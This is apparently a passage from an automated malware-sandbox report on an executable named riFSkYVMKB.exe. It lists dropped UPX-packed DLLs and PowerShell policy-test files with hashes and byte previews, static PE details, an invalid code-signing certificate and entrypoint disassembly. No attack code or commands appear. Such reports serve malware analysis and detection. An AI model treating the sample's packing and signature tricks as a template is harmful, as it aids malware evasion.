                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\sqlite3.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):659216
                                                                                                                                                                                                                                        Entropy (8bit):7.993010988331354
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:12288:ZI2xdk6g1SJU1uQWhSskWXgN/YeZE21RUMza8WznRGO+4:ZbxYw+AXSskaSweZ91uMu80x+4
                                                                                                                                                                                                                                        MD5:21AEA45D065ECFA10AB8232F15AC78CF
                                                                                                                                                                                                                                        SHA1:6A754EB690FF3C7648DAE32E323B3B9589A07AF2
                                                                                                                                                                                                                                        SHA-256:A1A694B201976EA57D4376AE673DAA21DEB91F1BF799303B3A0C58455D5126E7
                                                                                                                                                                                                                                        SHA-512:D5C9DC37B509A3EAFA1E7E6D78A4C1E12B5925B5340B09BEE06C174D967977264C9EB45F146ABED1B1FC8AA7C48F1E0D70D25786ED46849F5E7CC1C5D07AC536
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).....0......`.....................................................`..............................................#..........................................................................p...@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\unicodedata.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):267024
                                                                                                                                                                                                                                        Entropy (8bit):7.9826656358602595
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:5FHvhlPKHwqcv9DqegNsKUuFLttFHg+hMrZ99hYN8khE7xj:5tJlyHwqSBqpNsKUuntFJhMF9HC8jj
                                                                                                                                                                                                                                        MD5:B2712B0DD79A9DAFE60AA80265AA24C3
                                                                                                                                                                                                                                        SHA1:347E5AD4629AF4884959258E3893FDE92EB3C97E
                                                                                                                                                                                                                                        SHA-256:B271BD656E045C1D130F171980ED34032AC7A281B8B5B6AC88E57DCE12E7727A
                                                                                                                                                                                                                                        SHA-512:4DC7BD1C148A470A3B17FA0B936E3F5F68429D83D552F80051B0B88818AA88EFC3FE41A2342713B7F0F2D701A080FB9D8AC4FF9BE5782A6A0E81BD759F030922
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).........0..P....@...................................0............`..........................................+..X....)....... .......................+..$...................................P...@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2brynxik.jeq.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2w5a40og.xrr.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftt5ojdk.gaj.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fyktdkjb.irj.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1rzgxr1.an0.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iiwl5tld.lgr.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iyvkryon.mse.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfbnwm2m.5bu.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kq3bkowy.mkv.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pk1elips.nlt.ps1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q4v3cofc.1nk.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwqafadi.lya.psm1

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                        \Device\ConDrv

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):97
                                                                                                                                                                                                                                        Entropy (8bit):4.331807756485642
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
                                                                                                                                                                                                                                        MD5:195D02DA13D597A52F848A9B28D871F6
                                                                                                                                                                                                                                        SHA1:D048766A802C61655B9689E953103236EACCB1C7
                                                                                                                                                                                                                                        SHA-256:ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
                                                                                                                                                                                                                                        SHA-512:1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..Service Version: 0.0.0.0..user Version: 0.0.0.0....No user/signature is currently loaded...

                                                                                                                                                                                                                                        Static File Info

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Entropy (8bit):7.9933835740976775
                                                                                                                                                                                                                                        TrID:
                                                                                                                                                                                                                                        • Win64 Executable GUI (202006/5) 92.65%
                                                                                                                                                                                                                                        • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                        File name:riFSkYVMKB.exe
                                                                                                                                                                                                                                        File size:7'960'487 bytes
                                                                                                                                                                                                                                        MD5:90ee30fccafac811f40981a0e895d7f0
                                                                                                                                                                                                                                        SHA1:1517871794b795207d8cfa243c44bda048dcf40d
                                                                                                                                                                                                                                        SHA256:f139e085653967253d9a7159a3664dd986a69570540375d39a10df1fa49b8fe4
                                                                                                                                                                                                                                        SHA512:107884f27703328249e5962ca2a58740a511238392ddd5227ed663409c36113c881c8f688b12d3dcdd69f7946da45ef80df04335245adbb2c64e214a5729401b
                                                                                                                                                                                                                                        SSDEEP:196608:7UHYfwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q9VMwICEc/XO:0IHziK1piXLGVE4Ue9VJG
                                                                                                                                                                                                                                        TLSH:648633016A8019F6F6BB893DD496C019C57277A217A1DAEB032CD37A0EB31F95836773
                                                                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

                                                                                                                                                                                                                                        File Icon

                                                                                                                                                                                                                                        Icon Hash:00928e8e8686b000

                                                                                                                                                                                                                                        Static PE Info

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Entrypoint:0x14000ce20
                                                                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                                                                        Digitally signed:true
                                                                                                                                                                                                                                        Imagebase:0x140000000
                                                                                                                                                                                                                                        Subsystem:windows gui
                                                                                                                                                                                                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                                                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                        Time Stamp:0x6778E823 [Sat Jan 4 07:49:55 2025 UTC]
                                                                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                                                                        OS Version Major:6
                                                                                                                                                                                                                                        OS Version Minor:0
                                                                                                                                                                                                                                        File Version Major:6
                                                                                                                                                                                                                                        File Version Minor:0
                                                                                                                                                                                                                                        Subsystem Version Major:6
                                                                                                                                                                                                                                        Subsystem Version Minor:0
                                                                                                                                                                                                                                        Import Hash:72c4e339b7af8ab1ed2eb3821c98713a

                                                                                                                                                                                                                                        Authenticode Signature

                                                                                                                                                                                                                                        Signature Valid:false
                                                                                                                                                                                                                                        Signature Issuer:CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
                                                                                                                                                                                                                                        Signature Validation Error:The digital signature of the object did not verify
                                                                                                                                                                                                                                        Error Number:-2146869232
                                                                                                                                                                                                                                        Not Before, Not After
                                                                                                                                                                                                                                        • 29/09/2021 02:00:00 29/09/2024 01:59:59
                                                                                                                                                                                                                                        Subject Chain
                                                                                                                                                                                                                                        • CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
                                                                                                                                                                                                                                        Version:3
                                                                                                                                                                                                                                        Thumbprint MD5:5C82B2D08EFE6EE0794B52D4309C5F37
                                                                                                                                                                                                                                        Thumbprint SHA-1:3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
                                                                                                                                                                                                                                        Thumbprint SHA-256:60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
                                                                                                                                                                                                                                        Serial:00BFB15001BBF592D4962A7797EA736FA3

                                                                                                                                                                                                                                        Entrypoint Preview

                                                                                                                                                                                                                                        Instruction
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 28h
                                                                                                                                                                                                                                        call 00007FA158B27F7Ch
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 28h
                                                                                                                                                                                                                                        jmp 00007FA158B27B9Fh
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 28h
                                                                                                                                                                                                                                        call 00007FA158B28348h
                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                        je 00007FA158B27D43h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        mov eax, dword ptr [00000030h]
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        mov ecx, dword ptr [eax+08h]
                                                                                                                                                                                                                                        jmp 00007FA158B27D27h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        cmp ecx, eax
                                                                                                                                                                                                                                        je 00007FA158B27D36h
                                                                                                                                                                                                                                        xor eax, eax
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        cmpxchg dword ptr [0003570Ch], ecx
                                                                                                                                                                                                                                        jne 00007FA158B27D10h
                                                                                                                                                                                                                                        xor al, al
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 28h
                                                                                                                                                                                                                                        ret
                                                                                                                                                                                                                                        mov al, 01h
                                                                                                                                                                                                                                        jmp 00007FA158B27D19h
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 28h
                                                                                                                                                                                                                                        test ecx, ecx
                                                                                                                                                                                                                                        jne 00007FA158B27D29h
                                                                                                                                                                                                                                        mov byte ptr [000356F5h], 00000001h
                                                                                                                                                                                                                                        call 00007FA158B27475h
                                                                                                                                                                                                                                        call 00007FA158B28760h
                                                                                                                                                                                                                                        test al, al
                                                                                                                                                                                                                                        jne 00007FA158B27D26h
                                                                                                                                                                                                                                        xor al, al
                                                                                                                                                                                                                                        jmp 00007FA158B27D36h
                                                                                                                                                                                                                                        call 00007FA158B3527Fh
                                                                                                                                                                                                                                        test al, al
                                                                                                                                                                                                                                        jne 00007FA158B27D2Bh
                                                                                                                                                                                                                                        xor ecx, ecx
                                                                                                                                                                                                                                        call 00007FA158B28770h
                                                                                                                                                                                                                                        jmp 00007FA158B27D0Ch
                                                                                                                                                                                                                                        mov al, 01h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 28h
                                                                                                                                                                                                                                        ret
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        inc eax
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 20h
                                                                                                                                                                                                                                        cmp byte ptr [000356BCh], 00000000h
                                                                                                                                                                                                                                        mov ebx, ecx
                                                                                                                                                                                                                                        jne 00007FA158B27D89h
                                                                                                                                                                                                                                        cmp ecx, 01h
                                                                                                                                                                                                                                        jnbe 00007FA158B27D8Ch
                                                                                                                                                                                                                                        call 00007FA158B282BEh
                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                        je 00007FA158B27D4Ah
                                                                                                                                                                                                                                        test ebx, ebx
                                                                                                                                                                                                                                        jne 00007FA158B27D46h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        lea ecx, dword ptr [000356A6h]
                                                                                                                                                                                                                                        call 00007FA158B35072h

                                                                                                                                                                                                                                        Data Directories

                                                                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x3ca340x78.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x470000x93c.rsrc
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x440000x2238.pdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x79535f0x2448
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x480000x764.reloc
